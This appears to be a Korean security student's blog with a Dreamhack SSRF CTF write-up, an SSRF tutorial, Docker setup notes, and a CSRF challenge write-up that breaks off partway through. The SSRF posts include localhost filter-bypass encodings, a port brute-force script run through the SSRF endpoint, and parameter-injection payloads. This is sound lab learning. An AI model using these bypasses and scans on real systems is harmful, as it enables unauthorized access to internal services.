m4ruru

web-ssrf

maru_ — Mon, 29 Jun 2026 21:02:46 +0900

ssrf를 공부했으니, 관련 문제로 실습을 해보자.

문제 풀기전에, 문제에서 사용된 모듈들에 대해서 먼저 알아봐야겠다

urlparse

- 파이썬의 urllib.parse 모듈 안에 있는 함수

- URL 문자열을 쪼개서 scheme, hostname, port, path, query 같은 구성요소로 나눠주는 함수

- URL을 구성요소별로 나눠서 검사하기 쉽게 만들어주는 함수

예를들어서,

from urllib.parse import urlparse

url = "https://example.com:8080/posts/3?sort=latest#comment"
parsed = urlparse(url)

print(parsed)

이런식으로 쓰면

보통 결과는

ParseResult(
    scheme='https',
    netloc='example.com:8080',
    path='/posts/3',
    params='',
    query='sort=latest',
    fragment='comment'
)


# netloc -> URL에서 네트워크 위치정보
#        -> 이 요청을 어느 서버/호스트로 보낼 건지 나타내는 부분

이런식으로 나눠진다.

그리고

from urllib.parse import urlparse

url = "https://example.com:8080/posts/3"sort=latest"
parsed = urlparse(url)

print(parsed.scheme)    # https
print(parsed.hostname)  # example.com
print(parsed.port)      # 8080
print(parsed.path)      # /posts/3
print(parsed.query)     # sort=latest

이런식으로 꺼내서 사용할 수 있다.

=> SSRF 방어 코드에서 urlparse를 쓰는 이유는, 사용자가 넣은 URL을 그냥 문자열로 대충 검사하는게 아니라

URL 구조를 나눠서 확인하려고 쓰는 것!

threading 모듈

- 여러 작업을 동시에 실행하는 것처럼 해주는 파이썬 모듈

- 하나의 프로그램 안에서 여러 "작업 흐름"을 나눠서 돌리게 해주는 도구

- 파이썬 프로그램 안에서 여러 일을 동시에 돌리기 위한 도구

예를들어서, 원래 코드는 보통 위에서 아래로 한 줄씩 실행됨!

print("A")
print("B")
print("C")

#1. A 실행
#2. B 실행
#3. C 실행

이런식으로 하나씩 순서대로

근데, threading을 쓰면

import threading
import time

def task1():
	while True:
    	print("작업 1")
        time.sleep(1)

def task2():
	while True:
    	print("작업 2")
        time.sleep(1)
        
        
t1 = threading.Thread(target=task1)
t2 = threading.Thread(target=task2)

t1.start()
t2.start()

이런식으로, sleep으로 현재 작업 thread를 잠깐 멈추고 그 사이에 또 스케줄링으로 다음 thread 시작하고 이런식으로 여러개를 동시에 돌아가는 것 처럼 해줌

위 코드는 흐름으로 보면

task1 실행
→ 1 출력
→ task1이 sleep(1)로 잠깐 쉼

그 사이 task2 실행
→ 2 출력
→ task2도 sleep(1)로 잠깐 쉼

다시 task1 깨어남
→ 1 출력
→ 쉼

다시 task2 깨어남
→ 2 출력
→ 쉼

이런식이다.

http.server 모듈

- 파이썬 기본 내장 모듈

- 간단한 HTTP 웹 서버를 빠르게 띄울 수 있게 해주는 모듈

- 간단한 파일 서버나 테스트용 HTTP 서버에 가까움

예를들어서

터미널에서

python3 -m http.server 8000

이렇게 하면 현재 디렉터리 기준으로 웹 서버가 켜지고

만약 현재 디렉터리에

index.html
image.png
test.txt

이런 파일이 있으면

브라우저에서는

http://127.0.0.1:8000/index.html
http://127.0.0.1:8000/image.png
http://127.0.0.1:8000/test.txt

이런식으로 접근할 수 있음

-> 즉, 현재 폴더를 웹으로 열어주는 느낌?

코드로도 만들 수 있음,,

from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(200)
       self.send_header("Content-Type", "text/plain")
       self.end_headers()
       self.wfile.write(b"Hello from http.server")

server = HTTPServer(("127.0.0.1", 8000), MyHandler)
server.server_forever()

HTTPServer → 서버 자체를 생성하는 클래스
BaseHTTPRequestHandler → 요청이 들어왔을 때 어떻게 처리할지 정하는 클래스
do_GET() → GET 요청이 들어왔을 때 실행되는 메서드
send_response() → HTTP 상태 코드 보내기
send_header() → HTTP 헤더 보내기
end_headers() → 헤더 끝났다고 표시하기
wfile.write() → 응답 본문 보내기

근데, 이거 Flask로 하면 간단함,,^

@app.route("/")
def index():
	return "Hello"

SSRF 공부할 때 http.server는,,

종종 외부 서버 역할이나 내부 서버 역할을 간단히 만들 때 사용함

또는,

SSRF가 실제로 요청을 보냈는지 확인하려고 간단한 서버를 띄워두기도 함

* URL 필터링 우회 *

127.0.01과 매핑된 도메인 이름 사용하기

-> 도메인 이름을 구매하면, 이를 DNS 서버에 등록해서 원하는 IP주소와 연결할 수 있음

-> 이러면, 이후에 등록한 이름이 IP 주소로 Resolve됨

--> 임의의 도메인 이름 구매해서 해당 IP 주소와 연결해서 그 이름을 사용해서 필터링 우회하는 방법

---> 127.0.01은 이미 매핑된 "*.vcap.me"를 활용하는 방법도 있음

127.0.0.1의 alilas 이용하기

-> 하나의 IP는 여러 방식으로 표기 가능

예를들어서 127.0.0.1 은

- 각 자릿수를 16진수로 변환한 0x7f.0x00.0x00.0x01에서 . 제거한 0x7f000001

- 10진수로 풀어 쓴 2130706433

- 각 자리 0을 생략한 127.1 , 127.0.1

localhost의 alias 이용하기

-> URL에서 호스트와 스키마는 대소문자를 구분하지 않음

-> 따라서, "localhost"의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미함

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

이렇게 필터링 우회해서 사용 가능

[문제 풀이]

일단 문제코드를 살펴보면,,

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"

일단, 문제의 flag가 현재 디렉터리의 /flag.txt에 있다고 한다,,

그럼 저기에 접근을 해서 flag를 찾아야 하는데

어떻게 해야할까..?

아래 코드들을 쭉 살펴보면

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

위 코드 흐름 자체를 정리해보면

사용자가 URL을 입력 -> img_viewer 에서 url을 받고 -> 서버가 requests.get(url)을 실행 ->

이에 대한 응답값을 base64인코딩해서 브라우저에 출력

이렇게 된다.

여기서

POST요청으로

url = request.form.get("url", "") -> 요청 폼에 url을 그대로 받아오지만

아래에 보면 "localhost", "127.0.0.1"에 대한 필터링이 존재하는 걸 볼 수 있다.

그리고 아래에 try구문을 보면

try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")

url이 그대로 request.get으로 전달되는 걸 볼 수 있는데,

그럼 만약 단순히 "localhost", "127.0.0.1" 이 2개만 필터링이 걸려있고, 이 필터링을 우회한다면 결국 SSRF 취약점이 발생할 수 있을 거 같다.

그리고 아래에 코드를 살펴보면

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

http.server를 이용해서 내부 서버를 열어주는 것을 볼 수 있는데,

http.server.SimpleHTTPRequestHandler

-> 위에 모듈에 대해서 알아볼 때 공부했듯이, 현재 실행 중인 디렉터리의 파일들을 HTTP로 제공해주기 때문에 이를 이용해서 flag.txt에 접근 가능할 것이다..!

근데, 보면 host = 127.0.0.1이고, port가 랜덤이라,

host 필터링을 우회해줘야하고

이건 127.1 로 우회해줬다

port도 찾아야 되는 것 같다.. 포트는 범위가 300개 정도니까,,, brute force로 찾아야겠다,,

[brute_force 코드]

import requests

TARGET = "http://host3.dreamhack.games:23220"

# 실패할 포트로 요청해서 error.png 응답을 저장
error_response = requests.post(
    TARGET + "/img_viewer",
    data={"url": "http://127.1:1/"}  #POST 요청의 body에 들어가는 폼 데이터
).text

# 1500~1800 포트를 하나씩 시도
for port in range(1500, 1801):
    payload = f"http://127.1:{port}/"

    response = requests.post(
        TARGET + "/img_viewer",
        data={"url": payload},
        timeout=5
    ).text

    # 3. 실패 응답과 다르면 내부 서버가 열린 포트일 가능성이 높음
    if response != error_response:
        print("찾았다!")
        print("port:", port)
        print("payload:", payload)
        break

1. 일단 실패할 포트로 error.png 응답 하나를 저장하고

2. 뒤에 port를 브루트포싱 하면서 error응답이랑 비교해서

3. 다른 게 열린 포트일 가능성이 높으니 이렇게 코드를 짜서 돌려보면

이렇게 포트를 찾았고, 해당 포트와 host 우회를 이용해서

요청을 보내보면

이렇게 img로 base64 인코딩 된 값이 나오는 걸 볼 수 있고, 이걸 다시 디코딩 해보면

REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9

-> DH{43dd2189056475a7f3bd11456a17ad71}
이렇게 나오는 걸 볼 수 있다,,!!

정리를 해보면,

1. 필터링이 걸려있었지만, 단순 문자열 필터링으로 우회가 가능했고

2. request.get 으로 url을 그냥 서버에 요청하고 있다는 점

--> SSRF가 가능했고

3. http.server 모듈을 통해 내부 서버를 열어주고 있기에, 이를 이용해 flag.txt에 접근이 가능했다

이렇게 3가지 주요 취약점을 활용해 풀 수 있는 문제 였다,,!

Server-Side Request Forgery (SSRF)

maru_ — Sun, 28 Jun 2026 22:12:43 +0900

SSRF : Server-Side Request Forgery

-> 서버 측 요청 위조

-> 공격자가 직접 요청하는 것이 아니라, 서버가 대신 요청하게 만드는 취약점

서버가 정확히 뭔지 , API에 대한 정리, 마이크로서비스에 대한 것을 먼저 정리 해봤음

서버에 대해..

- 요청을 받고 응답을 돌려주는 컴퓨터, 프로그램

보통 웹 서비스를 사용할 때 사용자는 브라우저에 요청을 보냄

사용자 브라우저 -> 서버 -> 응답

예를 들어서,

사용자가 로그인 페이지에 접속하면

브라우저는 서버에 요청을 보내고, 서버는 로그인 페이지 html을 응답해줌

GET / login

-> 이런 요청이 오면 서버가 로그인 페이지 달라는 요청이군 하고, 해당 기능을 실행해서 결과과를 응답으로 돌려줌

보통 웹개발 공부 같은 거 할 때 Flask를 본인 노트북이다 컴터로 실행하는데, 그럼 그때의 서버는 본인 노트북이나 컴이 되는 것.

http://127.0.0.1:5000 -> 로컬 호스트,, 내꺼,,

그니까 보통

개발 환경에서는,..

내 브라우저 -> 내 컴퓨터에서 실행 중인 Flask 서버

실제로는,,

사용자 브라우저 -> AWS, Naver Cloud, 회사 서버 등에서 실행 중인 웹서버

Flask

-> 웹 서버 개발에 필요한 복잡한 기본 동작들을 미리 만들어둔 도구, 개발자는 그걸 import해서 사용,,!

웹 서버가 하는

1. 브라우저에서 요청이 들어오는지 기다리기
2. 요청 내용 읽기
3. URL이 뭔지 확인하기
4. GET인지 POST인지 확인하기
5. /login이면 로그인 함수 실행하기
6. /posts면 게시글 함수 실행하기
7. HTML이나 JSON 응답 만들기
8. 브라우저에 응답 보내기
9. 쿠키, 세션, 헤더 같은 것도 처리하기

이런 일들을 전부 내가 코드로 직접 구현하지 않고

Flask를 써서 그냥 import해서 편하게 가져다 쓰는 것

API (Application Programming Interface)

-> 각 웹 서비스나 서버 기능을 사용하기 위해 "요청은 어떤 주소로, 어떤 방식으로, 어떤 데이터를 담아 보내야 하고, 서버는 어떤 형식으로 응답해야하는가?"와 같은 것들을 정해둔 규약

외부 API

- 다른 회사나 외부 서비스에서 제공하는 API

- 카카오 로그인 API, 네이버 지도 API, 토스 결제 API,,등등

내부 API

- 같은 서비브 내부에서 서버들끼리 사용하는 API

- 회원 서비스 API, 주문 서비스 API, 관리자 서비스 API,,등등

- 내부 API는 보통 외부 사용사자가 직접 접근하면 안됨

컴퓨터 안에서도 수많은 소프트웨어들이 API를 통해 상호작용하며 동작함

예를들어서,

- 브라우저에서도 개발자들이 사용할 수 있는 다양한 기능들을 API들을 통해 제공함

(DOM API, Timing API, Fetch API...)

- 윈도우 AP

이런 것들,,

SSRF

위에서 말했듯이, 말그대로 서버 측 요청 위조

-> 공격자가 직접 요청하는 것이 아니라 서버가 대신 요청을 보내게 만드는 취약점임

보통, 일반적 요청 흐름은

사용자 -> 웹 서버 -> 응답

근데, SSRF가 발생하면

공격자 -> 웹 서버 -> 내부 서버 , 외부 서버

즉 공격자가 직접 내부 서버에 접근하는 것이 아니라, 웹 서버에게 특정 URL로 요청을 보내게 만드는 것

결론적으로 정리하면

=> 공격자가 서버를 이용해서 원래 직접 접근할 수 없는 주소에 대신 요청을 보내게 만드는 취약점이다

웹 서비스가 보내는 요청을 변조하기 위해서는 요청 내에 이용자의 입력값이 포함돼야 하고

이렇게 입력값이 포함되는 예시로는

- 웹 서비스가 이용자가 입력한 URL에 요청을 보내거나

- 요청을 보낼 URL에 이용자 번호와 같은 내용이 사용되는 경우

- 이용자가 입력한 값이 HTTP Body에 포함되는 경우

이렇게 나눠 볼 수 있음

먼저,

1. 이용자가 입력한 URL에 요청을 보내는 경우의 예시

from flask import Flask, request
import requests

app = Flask(__name__)


@app.route("/image_downloader")
def image_downloader():
    # 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
    image_url = request.args.get("image_url", "") 
    response = requests.get(image_url) 
    return (
        response.content,
        200,
        {"Content-Type": response.headers.get("Content-Type", "")},
    )


@app.route("/request_info")
def request_info():
    
    return request.user_agent.string
    
    
app.run(host="127.0.0.1", port=8000)

코드를 보면

image_downloader()함수에서 사용자가 입력한 image_url 값을 검증 없이 requests.get에 그대로 전달하고 있음.

그래서 실제로 환경을 빌드해서 간단하게 보면,

http://127.0.0.1:8000/image_downloader?image_url=https://dreamhack.io/assets/dreamhack_logo.png

이렇게 정상적인 값을 입력하면

정상적인 루트로 이미지를 불러온다.

근데, 여기서 ssrf취약점을 이용해서

원래는 그냥 브라우저 정보를 표시하는 /request_info 페이지 인데,

http://127.0.0.1:31339/image_downloader?image_url=http://127.0.0.1:31339/request_info

이렇게 입력을 하면, 웹서버가 스스로에게 요청을 보내서, 서버 코드가 request.get()으로 요청을 보낸것이 되면서

요청을 보낸 주체가 파이썬 request 라이브러리가 되는 것,,!!

이게, 만약에 단순하게 /request_info가 아니라

- /admin

- 내부 전용 API

- 외부에서 막아둔 관리자 페이지

- 내부 서비스 주쇠

- 클라우드 메타데이터 주소

이런것들이라면 위험할 수 있음..,.!

또한, 위 예시코드는 이것과 더불어

return (
    response.content,
    200,
    {"Content-Type": response.headers.get("Content-Type", "")},
)

이렇게 응답 내용까지 그대로 반환하고 있기때문에 더 위험하다

-> 서버가 가져온 내용을 사용자가 그대로 볼 수 있기 때문!

두번째로

2. 웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우

INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"


@app.route("/v1/api/user/information")
def user_info():
	user_idx = request.args.get("user_idx", "")
	response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
	

@app.route("/v1/api/user/search")
def user_search():
	user_name = request.args.get("user_name", "")
	user_type = "public"
	response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")

user_info 같은 경우에는

이용자가 전달하는 user_idx값을 내부 API의 URL경로로 사용하고 있음을 볼 수 있는데

즉, user_idx=1로 설정해서

http://x.x.x.x/v1/api/user/information?user_idx=1 이렇게 되면

웹 서비스는 http://api.internal/user/1 이와 같은 주소에 요청을 보내게 됨

user_search 같은 경우에는

이용자가 전달하는 user_name 값을 내부 API의 쿼리로 사용함

정상적으로 보면, http://x.x.x.x/v1/api/user/search?user_name=hello 이런식으로 설정해서 요청을 보내면

http://api.internal/user/search?user_name=hello&user_type=public 이와 같은 주소에 요청을 보냄

위 2개 모두 이용자의 입력값이 포함되면서 요청 변조가 가능한데

만약 이용자의 입력값 중 URL의 구성요소 문자를 삽입한다면 API 경로 조작이 가능해짐

user_info 에서는,

user_idx=../serch 이렇게 입력하면

http://api.internal/user/1 이렇게 의도한 정상 경로가 아닌

http://api.internal/search 이렇게 경로를 변조 할 수 있음 --> Path Traversal

user_idx=../search?user_name=secret&user_type=private 이런식의 입력도 가능

user_serch 에서는,

user_name=secret&user_type=private# 이렇게 입력하면

http://api.internal/search?user_name=secret&user_type=private#&user_type=public

위와 같은 URL에 요청을 보내는데, 이때

# -> Fragment Identifier 구분자로 뒤에 붙은 문자열을 생략시키고, 그럼 위 URL은

실제로는

http://api.internal/search?user_name=secret&user_type=private
위와 같은 URL이 된다,,!

다만, 항상 이렇게 동작하는 건 아니고,

- requests 라이브러리가 URL을 어떻게 처리하는지

- 내부 웹 서버가 /../ 경로를 정규화하는지

- 프록시나 라우터가 경로를 정리하는지

등등의 요소에 따라 달라짐

그렇지만, 결국 사용자 입력이 내부 요청 URL의 path 구조를 바꿀 수 있다는 것 자체가 위험한 설계로 볼 수 있음!

3. 웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우

from flask import Flask, request, session
import requests
from os import urandom


app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}


@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
    session["idx"] = "guest" .
    title = request.form.get("title", "") 
    body = request.form.get("body", "")
    data = f"title={title}&body={body}&user={session['idx']}"
    response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content
    
    
@app.route("/board/write", methods=["POST"])
def internal_board_write():
    
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    user = request.form.get("user", "")
    info = {
        "title": title,
        "body": body,
        "user": user,
    }
    return info
    
    
@app.route("/")
def index():
    
    return """
        <form action="/v1/api/board/write" method="POST">
            <input type="text" placeholder="title" name="title"/><br/>
            <input type="text" placeholder="body" name="body"/><br/>
            <input type="submit"/>
        </form>
    """
    
    
app.run(host="127.0.0.1", port=8000, debug=True)

먼저 코드 흐름을 살펴보면

index 페이지에서

title, body 제출 폼을 작성하고

/v1/api/board/write 로 보내고
그러면, /v1/api/board/write 여기서

@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
    session["idx"] = "guest" .
    title = request.form.get("title", "") 
    body = request.form.get("body", "")
    data = f"title={title}&body={body}&user={session['idx']}"
    response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content

보면 form에서 입력값을 get해서

data = f"title={title}&body={body}&user={session['idx']}" 이렇게 문자열로 만들어 /boar/write로 다시 post 요청을 보내고

그럼 /board/write 에서

@app.route("/board/write", methods=["POST"])
def internal_board_write():
    
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    user = request.form.get("user", "")
    info = {
        "title": title,
        "body": body,
        "user": user,
    }
    return info

이걸 json 형식으로 반환해서

이값이 위 /v1/api/board/write 여기의 response 부분에 응답값으로 가고, 이값을
response.content로 사용자한테 브라우저에 반환해주는 흐름이다.

이 흐름에서 ssrf취약점은

data = f"title={title}&body={body}&user={session['idx']}"

이부분이다.

내부 API로 보낼 Body 데이터를 문자열로 만들어버리는 부분이다.

문자열로 만들어서 보내기 때문에

title값에 test&user=admin 이런식으로 작성해서 폼을 제출해버리면,

title=test&user=admin&body=test&user=guest 이렇게 만들어지고,

& 문자가 파라미터 구분자로 해석돼서

결국

title = test

body=test

user=admin (보통 첫번째 값을 가져오기 때문,,)

요렇게 변조할 수 있음

실제로 해보면

정상적으로 입력하면

괜찮은데 만약에

이렇게 의도적으로 값을 넣어버리면

값이 변조되는 걸 확인 할 수 있다

결론적으로, 위 취약점은 URL조작이 아니라,

내부 API로 전달되는 Body 파라미터 구조를 조작하는 케이스이다.

정리를 해보면,

SSRF를 분석할 때, 결국 사용자의 입력이 서버의 요청 구조 어디에 들어가는지?를 보는 것이 핵심인 것 같다.

URL, path, query, body 어디든 검증 없이 들어간다면 서버가 의도하지 않은 요청을 보내 위협이 발생할 수 있다.

docker 사용하기 (run, compose)

maru_ — Wed, 17 Jun 2026 14:02:06 +0900

맥북으로는 gui리눅스를 쓰기가 굉장히 불편하다,, 속도가 너무 느려서 안쓰는게.,

그리고 또 보안 실무에서는 리눅스를 CLI로 많이 쓴다고 해서,, CLI에 익숙해질 겸, 도커에도 익숙해질 겸

도커에서 리눅스를 사용해야겠다ㅏㅏ

Docker

- 컨테이너 기반 가상화 플랫폼으로, 응용 프로그램과 그 종속성을 격리된 환경인 컨테이너로 패키징하여 실행하는 기술

컨테이너?

- 가상화 기술을 이용하여 애플리케이션과 개발 환경을 격리된 공간에서 실행하는 단위

-> 내 로컬pc안에 격리된 리눅스 실행 공간을 만드는 도구

맥북 macOS
 └─ Docker
     └─ Ubuntu 컨테이너
         └─ Flask / Python / Vim / 웹서버 실행

요런식으로 사용되는 것

- 이미지 : 컨테이너를 만들기 위한 설계도

- 컨테이너 : 실제 실행되는 리눅스 공간

- Docker run

- Docker compose

Docker run

docker run -it --name web_1 -p 31337:31337 ubuntu22.04 bash

-> 새 컨테이너 만들고 실행하는데 터미널로 직접 조작 가능하게 실행하고 컨터이너 이름은 web_1로 하고

맥북 31337 포트, 컨테이너 31337포트 연결ㄱㄱ 하고 ubuntu22.04 이미지 사용하고, 컨테이너 안에서 bash로 실행

Docker compose

앞에서 본 docker run 같은 경우에는 실행할 때 옵션을 길게 직접 작성해야하는 방식으로,,

예를들면

docker run -it --name web_1 \
  -p 31337:31337 \
  -p 31338:31338 \
  -v /Users/w00n1/web_1/flask-app:/home/flask-app \
  ubuntu: 22.04 bash

이런식으로 매번 쳐야하는데,,

이런 실행 설정들을

compose.yaml 파일에 저장해두는 방식

정리해보면

docker run -> 명령어로 직접 실행

docker compose -> compose.yaml 설정 파일 보고 실행 (약간 저장용 도면 느낌 ㅋ)

그럼, docker compose를 하려면 어떤 파일들이 필요하고, 어떻게 사용해야 할까,,?

먼저, 내 로컬 폴더 경로가

/Users/w00n1/web_docker/flask-app

그러면, Docker compose 구조는

/Users/w00n1/web_docker/flask-app
|- compose.yaml
|- Dockerfile
|- requirements.txt
|- app.py
|- login.py
|_ templates
	|- form_login.html
        |- form_text.html
    ...

이런식으로 가져가면 된다.

여기서,,

compose.yaml -> 컨테이너 실행 설정

service:
  flask-study:
    build: .
    container_name: web_study
    ports:
      - "31337:31337"
      - "31338:31338"
      - "31339:31339"
      - "8000:8000"
    volumes:
      - .:/home/flask-app
    working_dir: /home/flask-app
    stdin_open:true
    tty: true
    command: bash

이런식으로 작성

Dockerfile -> 이미지를 어떻게 만들지 적는 파일

-> 컨테이너 안에 기본으로 설치할 것들을 적어둠

FROM ubuntu:22.04

RUN apt update && apt install -y \
    python3 \
    python3-pip \
    vim \
    curl \
    wget \
    git \
    net-tools \
    iputils-ping

COPY requirements.txt /tmp/requirements.txt
RUN python3 -m pip install -r /tmp/requirements.txt

WORKDIR /home/flask-app

CMD ["bash"]

- ubuntu 22.04를 기반으로 하고

- python3, pip, vim, curl, git 등을 설치하고

- requirements.txt에 적힌 파이썬 라이브러리를 설치하고

- 기본 작업 폴더는 /home/falsk-app으로 하고

- bash를 실행해라

requirements.txt -> 파이썬 pip 패키지 목록

예를들면

Flask
requests

이런식으로 작성해두면,

위 Dockerfile의 RUN python3 -m pip install -r /tmp/requirements.txt

이 명령으로 Flask, requests를 자동 설치함

작성한 파일들은 어떻게,,?

- 컨테이너 안에만 파일을 만들어서 작업하면, 컨테이너를 삭제할 때 파일도 같이 사라질 수 있음

--> 그래서 나온 개념이 volume, 폴더연결!

예를들어서

-v /Users/w00n1/web_docker/flask-app:/home/flask-app

맥북의 /Users/w00n1/web_docker/flask-app 과

컨테이너의 /home/flask-app

을 연결한다는 뜻

이후에 docker compose를 이용해서 컨테이너를 생성할 수 있는데

one-off container(일회성 컨테이너)

service container

요런느낌 2가지로 사용할 수 있다

먼저, one-off container 를 보면

이렇게 compose에 필요한 파일들을 다 작성한 후

docker compose run --build --service-ports web_study

-> web_study 설정을 참고해서 일회성 컨테이너를 하나 만들어서 bash로 들어간다

일회성 컨테이너 같은 경우에는 컨테이너 이름도

flask-app-web_study-run-f59a18de78c5 이런식으로 생김

특징

- 코드 파일 수정 -> 로컬 폴더에 저장됨

- 컨테이너 안에서 직접 설치한 패키지 -> 유지 X

- 컨테이너가 계속 쌓일 수 있음

docker compose run 을 할때마다 새 일회성 컨테이너가 만들어진다고 보면 됨

그래서 보통

- 잠깐 명령어 실행

- 짧은 테스트

- 일회성 작업

-컨테이너 상태가 중요하지 않을 때

사용함

사용한 컨테이너를 삭제하고 싶을 땐,,

docker rm flask-app-web_study-run-f59a18de78c5
또는
docker rm ad552b4db0d6    -> 컨테이너 id로

만약에, 중지된 임시 컨테이너 싹 정리하고싶으면
docker container prune

반대로, service container를 보면

docker compose up -d --build

compose.yaml에 적힌 web_study 서비스를 고정 컨테이너로 만들어서 백그라운드에 계속 켜둔다

위 명령어로 실행을 한다

보통 service container를 사용할 때 yaml은

services:
  web_study:
    build: .
    container_name: web_study
    ports:
      - "31337:31337"
      - "31338:31338"
      - "31339:31339"
      - "8000:8000"
    volumes:
      - .:/home/flask-app
    workin_dir: /home/flask-app
    stdin_open: true
    tty: true
    command: sleep infinity

이렇게 작성하는데,

다른점은 command: sleep infinity 부분 -> 컨테어너가 바로 꺼지지 않고 계속 살아있게 하는 명령

사용 명령어

docker compose up -d --build        --> 컨테이너 빌드

docker compose start        -> 컨테이너 시작
docker exec -it web_study bash   -> web_study이름의 컨테이너에 들어가기

exit    -> 컨테이너에서 나오기

docker compose stop   -> 컨테이너 끄기

정리하면,

일회성 컨테이너(one-off container)는 필요할 때마다 compose.yaml 설계도 보고 새 컨테이너 하나씩 찍어내는 것,,

서비스 컨테이너(service container)는 compose.yaml 설계도대로 컨테이너를 하나 만들어두고 그걸 계속 stop/start 하면서 쓰는 것

csrf-2

maru_ — Fri, 5 Jun 2026 17:55:12 +0900

csrf-1에 이어 csfr-2 문제를 풀었다

문제코드를 먼저 보면,

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

CHROMIUM_BIN = os.environ.get("CHROMIUM_BIN", "/usr/bin/chromium")
CHROMEDRIVER_PATH = os.environ.get("CHROMEDRIVER_PATH", "/usr/bin/chromedriver")

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    driver = None
    try:
        options = webdriver.ChromeOptions()
        options.binary_location = CHROMIUM_BIN
        for argument in [
            "--headless",
            "--window-size=1920,1080",
            "--disable-gpu",
            "--no-sandbox",
            "--disable-dev-shm-usage",
        ]:
            options.add_argument(argument)
        service = Service(executable_path=CHROMEDRIVER_PATH)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host="0.0.0.0", port=8000)

먼저, 코드를 보면

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

user의 정보와

서버의 세션 보관함이 있다

그리고 현재 admin의 password가 FLAG로 되어있어, 문제를 풀기위해 admin의 비밀번호에 대해 봐야할 것 같다

read_url 함수를 보면 앞에 문제들과 같은 원리로 셀리늄 자동 봇이 돌아간다.

먼저, index페이지를 보면

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

username == "admin"일때 flag를 알려준다.\

username은,,

